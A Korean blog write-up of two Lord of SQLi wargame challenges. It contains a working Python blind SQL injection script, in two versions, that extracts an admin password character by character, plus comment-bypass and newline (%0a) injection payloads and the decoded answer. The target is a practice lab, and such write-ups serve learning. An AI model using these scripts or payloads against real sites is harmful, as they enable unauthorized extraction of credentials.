안녕하세요 저번이랑 이어서 계속 풀어 보겠습니다.
왜 regex와 like을 막은 건지 모르겠네요
일단 딱히 ' 을 막은 것도 아니니 length 함수 이용하여 admin의 pw 길이을 알아보겠습니다.
그럼 substring 함수랑 ascii 함수를 이용해서 값들을 일일이 찾아보겠습니다.
import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php" #공격할 url 작성
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": "PHPSESSID=ckf35r5ih70ok31fqad0lktq2i"
} #header 기본 구문, 쿠키도 작성
def blind_sqli(blind_query) :
while True :
query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")
index_value = "Hello admin" #참 거짓 식별용
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
s = 1
value = ""
for j in range(12) :
for i in range(0, 127) : #공백부터 ~까지 대입
data = {
"pw": blind_query.format(query,s,i)
}
response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기
if index_value in response.text :
value += chr(i)
s+=1
print(value) #잘되나 확인용
return value
blind_query = "' OR (id='admin' and ascii(substring({},{},1)) = {} ) %23" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작
실행해보겠습니다.
안 나오네요? 한 번 직접 입력해 보겠습니다.
' OR (id='admin' AND ascii(substring(pw,1,1))>0) #
안 나오네요? 원래는 나와야만 합니다. 왜냐하면 값이 있으면 무조건 아스키 값이 0보단 크니깐요
그럼 뭐가 문제냐.. 비밀번호가 16진법으로 저장이 된 경우 이런 오류가 발생할 수도 있다고 하네요
한번 hex 함수 이용하여 확인해보겠습니다.
그럼 substring으로 1번째 글자의 길이을 찾아보겠습니다.
헥사값은 보통 8비트을 이용해 저장을 합니다. 그러니 첫 글자가 4글자인 이야기는
0000adcd 이렇게 저장되어 있을 겁니다. 즉 비밀번호는 3글자인데 한 글자당 4비트의 값이 있다는 이야기죠
그럼 파이썬 코드를 조금 수정하겠습니다.
hex을 사용하여 pw을 출력하면 되겠죠!
import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php" #공격할 url 작성
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": "PHPSESSID=ckf35r5ih70ok31fqad0lktq2i"
} #header 기본 구문, 쿠키도 작성
def blind_sqli(blind_query) :
while True :
query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")
index_value = "Hello admin" #참 거짓 식별용
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
s = 1
value = ""
for j in range(24) :
for i in range(32, 127) : #공백부터 ~까지 대입
data = {
"pw": blind_query.format(query,s,i)
}
response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기
if index_value in response.text :
value += chr(i)
s+=1
print(value) #잘되나 확인용
return value
blind_query = "' OR (id='admin' and ascii(substring(hex({}),{},1)) = {} ) #" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작
hex(pw)을 하면 헥사 값들이 나올 겁니다. 그걸 한 글자씩 잘라서 비교하겠습니다.
실행!
엄청 오래 걸릴 거 같네요 24글자을 일일이 넣어서 찾으니깐요
이제 8비트씩 끝겠습니다.
0000C6B0 0000C655 0000AD73 이네요
글자 당 4글자이니 C6B0 C655 AD73 이 답입니다.
이걸 변환해보겠습니다.
헥사 코드표 중에 한글이 4비트을 사용을 하는데 찾아보겠습니다.
https://jjeong.tistory.com/696
유니코드(UTF-8) 한글 코드표, 한글코드 범위 {AC00-D7AF}
유니코드(UTF-8) 한글 코드표, 한글코드 범위 {AC00-D7AF} U+AC00 to U+AD00 0 1 2 3 4 5 6 7 8 9 A B C D E F UTF8: 234, 176, 128; UNICODE: AC0 가 각 갂 갃 간 갅 갆 갇 갈 갉 갊 갋 갌 갍 갎 갏 UTF8: 234, 176, 144; UNICODE: AC1 감
jjeong.tistory.com
C6B0 : 우
C655 : 왕
AD73 : 굳
저답은 우왕굳 이네요
다음!
19번
그리고 id을 admin 나오게 하라고 합니다. 음.. #은 한줄 처리하는 겁니다.
그 말은 한 줄 띄는 순간 #은 무용지물 되게 됩니다.
한 줄 띄우는 문자는 %0a을 이용하면 됩니다.
그러니 ' %0a 하면 한 줄 띄어지겠죠? 그럼 id='admin이라 적으면 끝입니다.'
작성해 보겠습니다.
'%0a OR id='admin'%23
guest가 앞에 있어서 guest을 먼저 찾는 거 같아요
그럼 일부러 틀리게 AND을 넣겠습니다. SQL에서는 AND 먼저 계산을 합니다.
그러니 일부러 guest을 거짓으로 만들겠습니다.
'%0a AND pw='1' OR id='admin'%23
오늘 새로운 것을 알았습니다. 한 줄 띄우는 문자로 %0a 라는 것을요.
공백으로만 쓰는 줄 알았는데 아니었네요!
'워게임' 카테고리의 다른 글
los rubiya - 22(dark_eyes) 풀이 (0) | 2023.05.23 |
---|---|
los rubiya - 21(iron_golem) 풀이 (0) | 2023.05.18 |
los rubiya -17,18풀이 (0) | 2023.05.15 |
los rubiya -14,15,16 풀이 (0) | 2023.05.14 |
los rubiya -11,12,13 풀이 (0) | 2023.05.12 |